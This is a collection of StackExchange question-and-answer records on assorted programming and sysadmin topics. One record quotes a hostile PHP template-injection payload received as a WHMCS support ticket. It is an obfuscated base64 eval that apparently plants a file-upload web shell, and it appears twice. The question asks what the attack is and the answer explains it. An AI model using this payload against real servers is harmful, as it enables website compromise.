http://librarianbyday.net/2009/09/28/how-to-attribute-a-creative-commons-photo-from-flickr/ Another question about how to properly attribute was answered https://webapps.stackexchange.com/a/47595/19350Proper attribution involves many steps of linking info back to the source. The relative complexity of attribution seems to dissuade people from properly doing this (they will tend to just copy/paste the image and be done with it). Is there a tool or place on Flickr where I can copy/paste the attribution to a CC image such that I can simplify this process? I'm looking for a Copy image with attribution feature, that when you then paste, supplies all the information in various formats. Note that when I copy text from my Kindle reader on PC, the text will be pasted with a reference to the book and location (relative within). It's a smart copy/paste that sort-of does what I'm asking. Here's an example (I just selected a paragraph in the Kindle, did a copy, then pasted it here. The second part contains the attribution to the book.):Applying the Language To apply the patterns in this book to the solution of the example problem, first build a working pattern language for the project. The language will contain those elements of the fault tolerant vocabulary presented here that will be useful in the design of the system. Patterns are not included if they will clearly not be needed or useful.Hanmer, Robert (2013-07-12). Patterns for Fault Tolerant Software (Wiley Software Patterns Series) (Kindle Locations 4972-4975). Wiley. Kindle Edition. I'm looking for something similar, but with CC images on Flickr." , "title": "Is there a simple way to attribute a CC image on flickr?" , "tags": "images;flickr;copyright;copy paste" , "accepted_answer": "Imagecodr.org is mentioned in the OP's link to librarianbyday. Put a flickr URL and you get the following (it's possible to vary the format):which looks something likeNote that the name of the work displays when you hover over the image -- perhaps not the best solution. We don't see the Author's name (Steve Paine) in the metadata, although the link to umpcportal may be sufficient. " } { "id": "_cs.80246" , "question": "Reversible programs with finite execution steps are well studied. For example, a Turing machine whose transitions are reversible and halts can be executed backwards consuming its tape in the reverse order. A variant of Turing machines with distinct input, output, and work tapes can be similarly executed in reverse to consume its output and regenerate its input, assuming it halted with an empty work tape in the forward execution (to avoid the possibility of stashing input information in the work tape).Is there any work for the equivallent concepts in the setting of interactive programs (in the spirit of https://en.wikipedia.org/wiki/Interactive_computation)? In the three-tape Turing machine model described, it is clearly possible to have infinite interactive runs consuming an infinite input stream and emitting an infinite output stream while storing intermediate results in the work tape. Some of these programs are clearly reversible in an analogous way to the finite programs, but cannot be covered by that formalism if they are non-halting. How can we characterize reversible interactive programs in this model? We need to exclude programs that simply stash away their input in the work tape, but unlike the finite case, we can't simply require that the program ends with an empty work tape.Is there any work on such reversible interactive programs?" , "title": "How to model reversible interactive programs" , "tags": "turing machines;reference request;reversible computing" } { "id": "_unix.385515" , "question": "In Nginx we can return a specific status code to URL prefix like this.location /api { return 200; }How can we achieve the same in Haproxy?. Gone through Haproxy ACL but couldn't find any. " , "title": "Return a specific/200 status code for a particular URL prefix in Haproxy" , "tags": "linux;webserver;haproxy" } { "id": "_unix.292607" , "question": "I am trying to understand how this piece of code works:for b in `git branch -r`; do git branch --track ${b##upstream/} $b; doneIn particular, the part where it does${b##upstream/}I know it cuts the characters upstream/ from $b, but I want to know how or why this works. I found this snippet on a forum." , "title": "for loop # usage" , "tags": "shell;variable" } { "id": "_unix.194292" , "question": "I have a large directory with tons of files and subdirectories in it. Is there a way to recursively search through all of these files and subdirectories and print out a list of all files containing an underscore (_) in their file name?" , "title": "Recursively list files containing an underscore in the file name" , "tags": "files;recursive" , "accepted_answer": "find . -name '*_*'Thanks to Stphane Chazelas as noted in the comments above!" } { "id": "_computerscience.5443" , "question": "This link says iPhoneGLU says, this libraray supports below futures.Matrix manipulationPolygon tessellationI would like to know whether I can use this library to draw primitives(lines,points,triangles,simple polygon).Thank you." , "title": "iPhone GLU(OpenGL Utility Library)" , "tags": "opengl es" } { "id": "_scicomp.7833" , "question": "I need to evaluate the following derivative:$$\\frac{1}{\\prod_i \\xi_i!}\\frac{1}{\\prod_j \\eta_j!}\\left.\\frac{\\partial^{\\xi_1 + \\cdots + \\xi_m}}{\\partial\\alpha_1^{\\xi_1}\\ldots\\partial\\alpha_m^{\\xi_m}}\\frac{\\partial^{\\eta_1 + \\cdots + \\eta_n}}{\\partial\\beta_1^{\\eta_1}\\ldots\\partial\\beta_n^{\\eta_n}}\\exp\\left(\\sum_{ij} a_{ij} \\alpha_i \\beta_j\\right)\\right|_{\\alpha_1 = \\cdots = \\alpha_m = \\beta_1 = \\cdots = \\beta_n = 0}$$where the $\\xi_i$ and $\\eta_j$ are non-negative integers, with $i = 1...m$ and $j = 1...n$, and the $a_{ij}$ are non-negative real numbers.Is there a good numerical algorithm to do this? Is it efficient?(See also: https://math.stackexchange.com/a/430925/10063)" , "title": "Numerical evaluation of partial derivatives" , "tags": "algorithms" } { "id": "_codereview.116967" , "question": "Type erasure is giving me nuts recently. I'm designing a class that performs symbolic differentiation on a math expression represented as a binary expression tree. The question is more on the design part than on the actual code part so I'm only giving out the method that looks awful to me.public Node derive(final Node currentNode, Node parentNode) { Node dxNode = null; final Object cDataContext = currentNode.getData(); if (Number.class.isAssignableFrom(cDataContext.getClass())) dxNode = new TreeNode(0.0); else if (AddOperator.class.isAssignableFrom(cDataContext.getClass())) dxNode = deriveAddContext((Node) currentNode); else if (MulOperator.class.isAssignableFrom(cDataContext.getClass())) dxNode = deriveMulContext((Node) currentNode); else if (SineFunction.class.isAssignableFrom(cDataContext.getClass())) dxNode = deriveSineContext((Node) currentNode); if (dxNode != null && parentNode != null) dxNode.setParent(parentNode); return dxNode;}I think it already speaks for itself. I'm having methods with different names which is fine. The awful part at least for me is this huge if statement that I truncated for simplicity. Is there a better way of doing this? I mean I would love to live with dynamic dispatch having the whole derive method consisting of a simple:Node dxNode = deriveNode(currentNode);dxNode.setParent(parentNode);return dxNode;I guess Java won't give me this luxury so perhaps there is some design pattern that I can utilize here? Just to give you a better understanding of the algorithm I'll show a sample method:private Node deriveAddContext(final Node additionContext) { // d/dx [f(x) + g(x)] = d/dx [f(x)] + d/dx [g(x)] => d/dx [f(x)] d/dx [g(x)] + // ROOT: ADD Node dRoot = new TreeNode(new AddOperator()); // ROOT.LEFT: d/dx [f(x)] dRoot.setLeft(derive(additionContext.getLeft(), dRoot)); // ROOT.RIGHT: d/dx [g(x)] dRoot.setRight(derive(additionContext.getRight(), dRoot)); // RET: d/dx return dRoot;}So the whole algorithm is recursive on the expression traversing the original expr in an inorder fashion.A Node has the following structure: dataField: leftChild: Node rightChild: Node parent: Node" , "title": "Dynamic Dispatch replacement for Generic methods" , "tags": "java;object oriented;design patterns" , "accepted_answer": "Personally, I would be able to live with your huge if statement if it remains straightforward, is well tested, and hidden in a nice class. I think a parser will often have these types of structures, especially if you are generating it from a grammar using a tool (like ANTLR for example) instead of coding it by hand.You could slightly improve the huge if statement by factoring out currentNode.getData().getClass() (instead of currentNode.getData()):final Class dataClass = currentNode.getData().getClass();if (Number.class.isAssignableFrom(dataClass)) dxNode = new TreeNode(0.0);else if (AddOperator.class.isAssignableFrom(dataClass)) dxNode = deriveAddContext((Node) currentNode);else if (MulOperator.class.isAssignableFrom(dataClass)) dxNode = deriveMulContext((Node) currentNode);else if (SineFunction.class.isAssignableFrom(dataClass)) dxNode = deriveSineContext((Node) currentNode);You could also consider using Java 8 to create an explicit mapping between the class the current node (data) is assignable from and the initialization code for dxNode using lambda expressions. This has the advantage that you should be able to extend the expression types by adding a single line to the map:public Node deriveAlternative(final Node currentNode, final Node parentNode) { Node dxNode = null; final Map, Function> deriveMap = new HashMap<>(); deriveMap.put(Number.class, n -> new TreeNode(0.0)); deriveMap.put(AddOperator.class, n -> deriveAddContext((Node) n)); deriveMap.put(MulOperator.class, n -> deriveMulContext((Node) n)); deriveMap.put(SineFunction.class, n -> deriveSineContext((Node) n)); final Optional> optionalKey = deriveMap.keySet().stream() .filter(key -> key.isAssignableFrom(currentNode.getData().getClass())) .findFirst(); if (optionalKey.isPresent()) { final Class key = optionalKey.get(); dxNode = deriveMap.get(key).apply(currentNode); } if (dxNode != null && parentNode != null) dxNode.setParent(parentNode); return dxNode;}" } { "id": "_webmaster.26523" , "question": "I have WHMCS and I use it with no problem for my hosting purposes.Almost every 2 or 3 days, I can see a spam with malicious content submitted as a new ticket that tries to hack.The last one was:Subject:{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})Message:{php}eval(base64_decode('JGNvZGUgPSBiYXNlNjRfZGVjb 2RlKCJQRDl3YUhBTkNtVmphRzhnSnp4bWIzSnRJR0ZqZEdsdmJ qMGlJaUJ0WlhSb2IyUTlJbkJ2YzNRaUlHVnVZM1I1Y0dVOUltM TFiSFJwY0dGeWRDOW1iM0p0TFdSaGRHRWlJRzVoYldVOUluVnd iRzloWkdWeUlpQnBaRDBpZFhCc2IyRmtaWElpUGljN0RRcGxZM mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})What are these attacks? Why don't they use any other way to attack?!!!In my opinion it is obvious that a system like WHMCS will never be hacked by such a poor attempts. They should have of course used some functions like strip_tags and mysql_real_escape_string and other security functions.Would any body explain why do they always select such a poor way to attack? Don't they really know that WHMCS is stronger than these low level hacks?In fact I'd like to know that: Do these efforts differ from each other? Can they be serious? Should I be scared of these attempts?" , "title": "Should WHMCS hacking attemps that never succeed be important to me?" , "tags": "php;server;security;hacking" , "accepted_answer": "It's a robot scanning the web for WHMCS installs that are vulnerable to this attack, it's just part and parcel of running a website." } { "id": "_unix.322912" , "question": "I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace. Here's a sample of the pattern:
I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.Any assistance would be most welcome.UPDATEI've got a solution now, largely thanks to the accepted answer. Others facing something similar should look at my github project for this." , "title": "Global multiline search & replace" , "tags": "sed;grep;filesystems;php;malware" , "accepted_answer": "If you want to edit text defined by a context-free language (nested matching begin and end tags, e.g. HTML or XML), you should use a tool made for that instead of a tool for regular expressions. Such a tool is for example sgrep (available as a package for many linux distros): You can match (nested) regions defined by beginning and ending tags, and manipulate them. So for examplesgrep -o '%r\\n' '(start .. end) extracting ( containing ###=CACHE START=###)'will remove any region starting with that contains ###=CACHE START=### from your file, by printing all other regions separated by a newline. Newlines and white space are not considered relevant for matching, so multiline matches are for free." } { "id": "_cs.31998" , "question": "I am doing an exercise from a Big Data course I'm taking on Coursera (this exercise is for experimenting with a big-data problem and is not for any credit or homework) , the assignment was described briefly:Your task is to quickly find the number of pairs of sentences that are at the word-level edit distance at most 1. Two sentences S1 and S2 they are at edit distance 1 if S1 can be transformed to S2 by: adding, removing or substituting a single word.I am then given a large txt file that contains about $10^6$ sentences.The way I tried to attack this problem:Observation $1$: If the length of two sentences is greater then $1$ then they are not at an edit distance $1$.Observation $2$: Let $A_1,...,A_5$ be five consecutive words from a sentences and let $B_1,...,B_5$ be another five consecutive words chosen from different indexes (that is if we label the words of a sentence then $B_i$ and $A_j$ does not share an index.Five is a small arbitrary number I choseI used something like a curried syntax to get a hashtable that keeps a 3-touple: $(X,Y,Z)$Where I mapped each sentence as follows:$X$ is the number of words the sentence have.$Y$ is obtained by a hash function on the content of the words (I will soon describe this hash function)$Z$ is a list of integers containing the index of the line in the document [the line number] that was mapped to $(X,Y)$In C# this corresponds to an object of a type Dictionary< int, Dictionary< int, List< int>>>So I kept two Hashtables of the above form, where I took the first five words to hash and get $Y$ and words $6-10$ to hash and get another value of $Y$.Then given a sentence - compute the two $Y$ values it would of gotten and look at buckets with length that differs at at most $1$ from this sentence length and share one $Y$ value this sentence.Let me describe the hashing function I used to get $Y$ -I took the $A_i$ (similarly with the $B_i$) and concatenated them I looked at this string as a byte array (that is by the bits that takes to represent the numbers) I then applied a the SHA-1 hash function on it (there are no security reasons for this but I wanted something that hashes well) I took the last $4$ bytes in the SHA-1 hash and I looked at it as a positive integer (by looking at the last $32$ bits and considering it as an integer then applying the absolute value function). Call this result $R$$Y= R\\%p^{2}$where $p$ was chosen as follows: I counted how many lines of a given length $l$ appear (say $n_l$), for lines of length $l$ I chose $p$ s.t $$\\frac{n_l}{p^2}\\leq 3$$ the following is a Histogram showing $n_l$ as a function of $l$which should give some indication of the values chosen for $p$.However - There are too many collisions - I get about $6$ elements in each bucket.I took one example of such a bucket and I printed those sentences (I hoped they are similar so they would have a good reason to be mapped to the same bucket) by they are very different from one another. This is a printscreen of those sentences printed to the console.Question: Why do I get a large number of collisions ?($6$ in average on $10^5$ buckets I considered where if I had even distribution I would expect $3$ from the choice of $p$, some buckets have a few tens of elements in them) Could the problem be that I used modulo a square of a prime and not a prime ? is it that significant?" , "title": "Hashing by doing modulo $m$ for $m=p^2$ for a prime $p$ instead of using a prime $m$ - is it that bad?" , "tags": "hash;big data" } { "id": "_softwareengineering.318730" , "question": "I have a couple of simple classes that implement the Null Object pattern.To illustrate the hierarchy, let's define a Config interface with two classes implementing it ConfigItem and MissingConfig, each defined in its own file.// Config.javapublic interface Config { Something process();}// ConfigItem .javapublic class ConfigItem implements Config { // some fields @Override public Something process() { // some actual logic and return statement }}// MissingConfig.javapublic enum MissingConfig implements Config { INSTANCE; @Override public Something process() { // do no harm }}In my case, the MissingConfig object is immutable and only a single instance is guaranteed to exist.This works fine and allows me to avoid null-checks. However, the fact that this implementation of the Config interface exists can be missed by other developers working with the code.I'm trying to find a way to make the reusable null-representation of the Config easy to find.It occurred to me that I could expose it using the interface itself:public interface Config { Something process(); MISSING = MissingConfig.INSTANCE;}so that it would auto-complete for everyone trying to do something with ConfigThis, however, in a way, introduces a constant in the interface, which is advised against in Joshua Bloch's Effective Java (Chapter 4, item 19)Another way to structure the code that occurred to me is to define the enum inside the interface.public interface Config { Something process(); public enum Missing implements Config { INSTANCE; @Override public Something process() { // do no harm } }}This looks almost as readable when consumedConfig.Missing.INSTANCEbut not as nice as the previous version... and technically, this is still a constant defined inside an interface. Just a bit more convoluted.Is there any way I can make the consumption of the null-object blatantly obvious without violating the good practices of interface design... or am I trying to have my cake and eat it too?I'm beginning to think my original implementation (with the enum defined in its own file) is the most elegant one and that the discoverability should be achieved by an explicit mention of it in the Javadoc. As much as I'd love to, I can't protect myself against people who don't read javadocs.I have also thought about switching from an interface to an abstract class but that limits reuse in ways I cannot accept due to single inheritance (some existing code that has to do with the Config)Hope this isn't too open-ended for Programmers" , "title": "Discoverable default implementation of an interface" , "tags": "java;interfaces" , "accepted_answer": "There is a sentence in the chapter you referenced (Joshua Bloch's Effective Java (Chapter 4, item 19)):If the constants are strongly tied to an existing class or interface, you should add them to the class or interface.and you could rewrite your examples to:public interface Config { Config EMPTY = new Config() { @Override public void doSomething() { // empty for missing config } }; void doSomething();}but some JAVADOC could be helpful for your colleagues." } { "id": "_softwareengineering.355376" , "question": "Suppose I am writing a C++ library that I intend to distribute in binary form, with interfaces from other languages (e.g. Python). The 'easy' approach of just compiling the library and distributing the DLL or Framework does not work well.For it to work you need to compile the library with every supported compiler and every supported compiler option, and bad things can happen if you don't.The problem is because C++'s ABI is in general not stable, and the ABI of the STL is definitely not stable. A sort of solution is to stick to 'simple' C++ in your public API - simple classes with basic types. The problem with that is you don't get to use the STL's nice types like std::string and `std::vector and end up reimplementing them.So I'm wondering if there is a better solution using a library Interface Definition Language (IDL). There are loads of these for network protocols, like Thrift, Protobuf, gRPC, CapnProto, etc. Is there one for libraries?The ideal solution would then take this IDL file, generate a C->C++ wrapper around the C++ library, so that its ABI is now the C ABI. It could then also generate open source wrappers around the C library for whatever language you wanted (including C++).I know it is kind of insane to wrap C++ with a C API and then wrap that with a C++ API. But I can't see a better way.Does this exist? Is it insane? Is there a better way?" , "title": "Is there an interface definition language for software libraries?" , "tags": "c++;libraries;abi" } { "id": "_webmaster.61101" , "question": "Google webmaster tools is showing keywords such as cookies in my keyword list. This is probably because we have links to our long legal disclaimer on cookies.We're a B2B service, so clearly I don't want my site to rank for cookies. What's the best practice to deal with this? Should I remove the domain.com/cookies subdir from google webmaster tools?" , "title": "How to deal with non-relevant keywords in Google Webmaster Tools" , "tags": "seo;google search console;keywords;googlebot" } { "id": "_webmaster.17980" , "question": "I run a forum which serves its pages as XHTML+MathML+SVG; in full:Using the MathPlayer plugin, Internet Explorer users can use this site. However, sometimes someone is using the forum from IE and isn't able to install MathPlayer (maybe they're on a public machine somewhere). Then IE (at least 6&7) complains about the XHTML and offers just to download the file.I read on the w3c site how to get around this using an XSL transformation (http://www.w3.org/MarkUp/2004/xhtml-faq#ie). When I put this in place, I found that Chrome was now complaining vociferously about undefined entities (the specific one was   but testing shows that that's not relevant).Bizarrely, I can get round this by manually declaring the entities in the DOCTYPE:]>but I'd rather not do this for the whole gamut of entities possible. I say bizarrely because the XHTML+MathML+SVG dtd does, as far as I can see, declare these entities. So somehow these are getting missed out.Is there a way around this problem? Can I serve XHTML-with-entities to IE?In case it matters, the pages are generated by a php script and are served via apache, so if there's a reliable method of sniffing the browser and modifying the start of the document (so only sending the bit to IE) then that would be an acceptable alternative.(I hope I have the right SE site ... please let me know if I'm in the wrong place. Ditto with the tags.)" , "title": "How do I serve XHTML to Internet Explorer without breaking Chrome?" , "tags": "internet explorer;xhtml" } { "id": "_unix.114264" , "question": "In linux cli I can do ctrl-r and do a reverse search and choose something I have done easily.Is there something similar in vim? I mean I may run a command using : (could be anything like a long substitution) and if I need to do it again I need to retype it.Is there a way to avoid retyping but instead somehow search back and execute it?" , "title": "Is there a command reverse search in vim?" , "tags": "vim;search" , "accepted_answer": "You may find q: useful. It opens the command-line window. The command-line window looks like this:I tried to make an animation of its usage:Also see c_CTRL-F, which opens the command-line window from command mode.You can also re-run the last command from normal mode by typing @:. " } { "id": "_cs.65953" , "question": "I came across following excerpts while reading about regular expressions identities:The regex associative laws are: $$(L+M)+N=L+(M+N)$$ $$(LM)N=L(MN)$$ Some important implications out of associative laws are: $$r(sr)^*=(rs)^*r$$ $$(rs+r)^*r=r(sr+r)^*$$ $$s(rs+s)^*r=(sr+s)^*sr$$ $$(LM)^*N*\\neq L*(MN)*$$The issue is that I don't find the implications much intuitive as the identities themselves are. How can I understand the implications intuitively? I can always form a strings belonging to left hand side regex and check whether it can be accepted by other regex. The first implication is very simple to test this way. However how can I make them more intuitive??Are these implications simply made up expressions which are tested rigorously to hold true and they don't have any specific expression as we can form many such expressions?I am unable to get the point behind stating these implications. I dont think of any problem in which I can use these regexes straight / immediately. It may be because I am not able to get intuition behind these implications so that it may strike in my head immediately when to use these implications." , "title": "Meaning / proof of these regex" , "tags": "regular expressions" , "accepted_answer": "For all three of your statements, the answer is that, generally speaking, the implications simply aren't as intuitive as, say, the associative laws. Look at the analogous problem with algebraic expressions: we have associative laws for addition and multiplication and we also have a distributive law that states that for any expressions $p,q,r$ we have $$p\\cdot(q+r)=(p\\cdot q)+(p\\cdot r)$$Eventually, these rules should be intuitively obvious. However, one implication of these rules, that $$(p+q)^3=p^3+3p^2q+3pq^2+q^3$$is probably not as intuitively obvious as the rules used to derive that identity. The utility of the result above is that it can be used as a tool to simplify other more complicated problems.It's the same for regular expressions: the fact that, say, $r(sr)^*=(rs)^*r$, is correct can be proven rigorously, but having done that you can use it as a tool to show that $$aa+(aab)^*aa=aa+aa(baa)^*=aa(\\epsilon+(baa)^*)$$should you ever need to. For example, there is a handy technique, involving what's known as Arden's lemma that can be used to produce a regular expression describing the language accepted by a finite automaton. Depending on how it's applied, this can produce several regular expressions from the same FA, so it might fall to you to show that the expressions are indeed equivalent, in which case the implications you listed might be handy.The upshot (here's the tl;dr part), is that the implications you mentioned are simply tools you can use when needed: they've beed proven to hold, but there's no reason why they should be intuitively obvious. " } { "id": "_unix.175289" , "question": "I want to install windows 10 64 bit but the my current verson of windows is 32 bit so it is unable to run the setup.exe file so booted into ubuntu 14.10 64 bit and installed qemu to use my current harddisk as virtual harddisk and the iso cdrom. This is the command I usesudo qemu-system-x86_64 -cpu qemu64 -vga std -cdrom file=~/WindowsTechnicalPreview-x64-EN-US.iso -boot d -drive /dev/sda1But this gives me errorqemu-system-x86_64: -cdrom file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso: could not open disk image file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso: Could not open 'file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso': No such file or directoryBut I have checked the file exists" , "title": "Geting error in qemu No such file or directory" , "tags": "qemu" , "accepted_answer": "-cdrom SOMEFILE is a shortcut for -drive index=2,media=cdrom,file=SOMEFILE. Either use the verbose -drive option or the -cdrom shortcut, don't mix them up. You've told Qemu to open a file called file=/home/ubuntu/WindowsTechnicalPreview-x64-EN-US.iso', and this file doesn't exist." } { "id": "_webapps.91905" , "question": "How do I import saved images from http://www.google.com/save/ into Google Photos without downloading them?(From Linux.)Similar to, but different from:How to download all Google Search images resultsexample:" , "title": "export saved Google images into Google photos" , "tags": "images;google photos;online storage;google image search;cloud" } { "id": "_unix.174323" , "question": "I have a Ubuntu machine. I am connected to it remotely and getting the following errer:mkdir: cannot create directory `/testFolder': Read-only file systemLIKE WINDOWS, REBOOTING the machine solved this error.Can someone explain this behaviour to me. I am bit surprised." , "title": "Read-only file system error while accessing the files on Ubuntu" , "tags": "ubuntu;filesystems;readonly" } { "id": "_unix.315239" , "question": "I have a string like $number=1234567;and i want to extract substring out of it , but i am not getting proper results with substr function.If i execute substr $number ,0,1 ;i get 1 as output but it should be 12." , "title": "best way to find substring of integer number in perl" , "tags": "perl;string" , "accepted_answer": "To get 12, you need:substr $number, 0, 2The syntax for substr is:substr $var, OFFSET, LENGTHSo when you do:substr $number ,0,1the OFFSET will be 0 and LENGTH will be 1.perl is zero-indexed i.e. the indexing starts at 0, and the length of the substring you have picked is 1, so you would only get 1 in the output expectedly." } { "id": "_unix.227098" , "question": "I've been writing a Linux device driver for some measurement devices I'm attaching to my Raspberry Pi. I've created my kernel module and an application to access the character device driver, but the device needs to be calibrated regularly and I need to store the calibration data somewhere. Where is that data usually stored? My best guess is /etc, but I'd like to hear from someone who knows more about this than I do. " , "title": "Where to store calibration files for a custom Linux device driver" , "tags": "drivers;directory structure" , "accepted_answer": "Per the Filesystem Hierarchy Standard, /var/lib/ might be the right place:This hierarchy holds state information pertaining to an application or the system. State information is data that programs modify while they run, and that pertains to one specific host. Users must never need to modify files in /var/lib to configure a package's operation.State information is generally used to preserve the condition of an application (or a group of inter-related applications) between invocations and between different instances of the same application. State information should generally remain valid after a reboot, should not be logging output, and should not be spooled data./etc isn't right for calibration data, since /etc should be able to be mounted read-only." } { "id": "_softwareengineering.34463" , "question": "So I'm not doing any unit testing. But I've had an idea to make it more appropriate for my field of use. Yet it's not clear if something like this exists, and if, how it would possibly be called.Ordinary unit tests combine the test logic and the expected outcome. In essence the testing framework only checks for booleans (did this match, did the expected result result). To generalize, the test code itself references the audited functions, and also explicites the result values like so:unit::assert( test_me() == 17 )What I'm looking for is a separation of concerns. The test itself should only contain the tested logic. The outcome and result data should be handled by the unit testing or assertion framework. As example:unit::probe( test_me() )Here the probe actually doubles as collector in the first run, and afterwards as verification method. The expected 17 is not mentioned in the test code, but stored or managed elsewhere.How is this scheme called? Or how would you call it? I hope I can find some actual implementations with the proper terminology.Obviously such a pattern is unfit for TDD. It's strictly for regression testing. Also obviously, it cannot be used for all cases. Only the simpler test subjects can be analyzed that way, for anything else the ordinary unit test setup and assertion steps are required. And yes, this could be manually accomplished by crafting a ResultWhateverObject, but that would still require hardwiring that to the test logic.Also keep in mind that I'm inquiring for use with scripting languages, and not about Java. I'm aware that the xUnit pattern originates there, and why it's hence as elaborate as it is.Btw, I've discovered one test execution framework which allows for shortening simple test notations to:test_me(); // 17While thus the result data is no longer coded in (it's a comment), that's still not a complete separation and of course would work only for scalar results." , "title": "Term for unit testing that separates test logic from test result data" , "tags": "unit testing" , "accepted_answer": "There is such a thing as data-driven tests. These aren't the same thing you are asking for, but they may help with some of what you want.Basically, the idea is that we define data structures and perform tests based on them.An example:translations = { 1 : 'I', 2 : 'II', 4 : 'IV', 125 : 'CXXV'}def test_roman(): for number, roman in translations.items(): assert to_roman(number) == roman assert from_roman(roman) == numberThis makes it much easier to add additional test cases. In frameworks with support for it it can easily be made so that this would actually get recorded as many tests. I'm not sure what exactly you are attempted to get from your technique. You have to deal with all the setup of unit tests but skipping over what would seem to be a relatively minor part: specifying the output. It seems such a small savings and would only rarely be useful. " } { "id": "_webmaster.27647" , "question": "Not a major problem, but I would like to understand more about how some websites can serve different pages to a navigating user, such that the browser doesn't visibly pass through a blank white page. Whereas some sites cause the browser to display the white page for up to a few seconds.I can imagine this is partly due to network latency, but are there any other factors? Can I cause the background image / color not to flash white?" , "title": "Avoiding background and main menu reloads (white flash) when users navigate my site?" , "tags": "html" , "accepted_answer": "The 'White Flash' your referring to is the browser drawing the webpage. There was a great question about how to track how long it takes different browsers to draw your website (latency aside).Another good question to refer to is how to speed up your site through various tools and techniques.But what I think you're looking for is AJAX. Asyncronous JavaScript And XML; this will allow you to reload page content without reloading the page, thereby completely avoiding the 'White Flash.'EDIT: I just realized a technique that you could use that is extremely simple. You could use iframes! I didn't think of it because it's kind of an outdated technique. I haven't used it since high school, but using iframes you should be able to get the desired results." } { "id": "_unix.339148" , "question": "I recently installed Kali Linux to enable me to dual boot between Kali and Windows 7. I had to install Kali in UEFI mode, because that was the only thing that worked. Windows 7 however, is not installed in UEFI mode. Because of this I can't boot Windows from the UEFI GRUB loader. To fix this I installed rEFInd as suggested by this answer. My problem is that rEFInd does not detect my windows loader on /dev/sda1. I have uncommented the scanfor line in refind.conf and added hdbios as one of the options without any success. I also uncommented uefi_deep_legacy_scan although that shouldn't be necessary since everything is on the same disk (only different partitions). I have also tried manually adding the Windows loader to the list, but it doesn't even appear as an option when I boot (I probably did not add it correctly).Is there anything I can do to fix this? Does anyone know how I manually can add it to the list? Or is my Windows loader broken? If so, what can I do then? (I don't have any installation CD or anything like that for Windows)" , "title": "rEFInd does not find Windows 7" , "tags": "kali linux;grub2;refind" } { "id": "_unix.368118" , "question": "I have an SD card in my raspberry PI, on which I pulled the power. Now, I cannot boot from it, or even read it from my (Fedora) laptop. When running fsck I get this error: [bf@localhost ~]$ sudo fsck -V /dev/mmcblk0p2fsck from util-linux 2.28.2[/sbin/fsck.ext4 (1) -- /dev/mmcblk0p2] fsck.ext4 /dev/mmcblk0p2 e2fsck 1.43.3 (04-Sep-2016)/dev/mmcblk0p2 has unsupported feature(s): FEATURE_I17e2fsck: Get a newer version of e2fsck!It somehow sees some unsupported feature that blocks any usage of the card. Any other fs tool (tunefs, debugfs) come with the same error." , "title": "Cannot mount SD card after hard shutdown" , "tags": "ext4;fsck;sd card" } { "id": "_unix.192228" , "question": "I have a network topology where in Dell PE860 runs a Linux virtual-switch br0:Now if I send an Ethernet frame to broadcast address from IBM ThinkCentre:17:10:23.569021 00:a1:ff:01:02:05 > ff:ff:ff:ff:ff:ff, ethertype IPv4 (0x0800), length 34: 127.0.0.1 > 127.0.0.1: ip-proto-0 0..then I see this frame in both virtual-machines as I should. If I send an Ethernet frame to MAC address which is not know in br0 MAC address table, then the br0 also behaves correctly and floods the frame to all ports expect to one where the frame came in(eth1 in this example). However, if I send a multicast frame from IBM ThinkCentre:17:17:05.513283 00:a1:ff:01:02:05 > 